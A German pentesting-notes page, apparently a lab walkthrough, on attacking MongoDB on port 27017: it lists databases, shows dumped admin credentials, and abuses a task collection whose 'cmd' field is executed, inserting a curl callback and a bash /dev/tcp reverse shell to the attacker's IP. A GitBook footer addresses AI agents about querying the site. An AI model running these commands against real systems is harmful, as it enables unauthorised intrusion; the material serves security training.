> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

### MongoDB-Aufzählung

<figure><img src="/files/f823380066f59fa5056c5b6c97b569580caf959c" alt=""><figcaption></figcaption></figure>

Verbinde dich mit der MongoDB-Datenbank auf Port 27017:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/4323d852d88dfca5654d69d364bfcca45369d498" alt="" width="563"><figcaption></figcaption></figure>

* Benutzer: admin
* Passwort: IppsecSaysPleaseSubscribe

<figure><img src="/files/7f48525f00bcdf9f246100ab581a2700db16ba09" alt=""><figcaption></figcaption></figure>

### MongoDB-RCE

Das `app.js` Skript führt Systembefehle aus MongoDB-Dokumenten über `doc.cmd`. Dies ist eine kritische Schwachstelle, da beliebige Befehle eingeschleust und ausgeführt werden können.

<figure><img src="/files/7be4f00c8ba820b4b9db8c34c58aeaa1cac1f03a" alt=""><figcaption></figcaption></figure>

Bestätige die Ausführung von Befehlen über MongoDB.

**Einen lokalen Webserver erstellen**

Starte auf dem angreifenden Rechner einen Webserver, um die Anfragen zu beobachten:

```bash
python3 -m http.server 80
```

**Füge einen Testbefehl in die `tasks` Sammlung**

Füge in MongoDB einen Befehl ein, der eine HTTP-Anfrage an den angreifenden Rechner sendet:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Anfragen beobachten**

Wenn du eine Anfrage in den Webserver-Logs siehst, bestätigt das, dass die Befehle ausgeführt werden.

<figure><img src="/files/3cad89a9c2ed6224a31e0561b1440e9775a51bef" alt=""><figcaption></figcaption></figure>

Richte eine Reverse Shell ein und lausche auf Port 443:

```bash
nc -nlvp 443
```

#### Eine Reverse Shell starten

**Einen Listener auf Port 443 konfigurieren** Auf dem angreifenden Rechner:

```bash
nc -nlvp 443
```

**Einen Reverse-Shell-Befehl einfügen**

Füge in MongoDB einen Befehl ein, um eine Reverse Shell herzustellen:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Verbindung erfolgreich** Sobald der Befehl ausgeführt wurde, erhältst du eine interaktive Shell auf dem Zielsystem unter dem Benutzer **tom**.

<figure><img src="/files/bddcd3dbe6fc51704a3853ccf1dacffc30e44831" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/mongodb-27017.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
